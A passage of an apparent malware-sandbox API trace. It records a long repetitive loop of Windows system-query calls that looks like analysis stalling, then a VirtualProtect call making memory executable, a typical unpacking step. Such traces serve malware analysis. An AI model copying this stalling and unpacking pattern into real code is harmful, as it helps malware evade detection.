lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.163] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.163] GetACP () returned 0x4e4 [0094.163] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.164] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.164] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.164] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.165] GetACP () returned 0x4e4 [0094.165] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.165] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.166] GetACP () returned 0x4e4 [0094.166] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.166] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.167] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.167] GetACP () returned 0x4e4 [0094.167] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.168] GetACP () returned 0x4e4 [0094.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.169] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.170] GetACP () returned 0x4e4 [0094.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.171] GetACP () returned 0x4e4 [0094.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.172] GetACP () returned 0x4e4 [0094.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.173] GetACP () returned 0x4e4 [0094.293] VirtualProtect (in: lpAddress=0x645ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.295] AddAtomA (lpString=0x0) returned 0x0 [0094.295] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.295] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.296] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.296] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.296] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.296] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.296] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 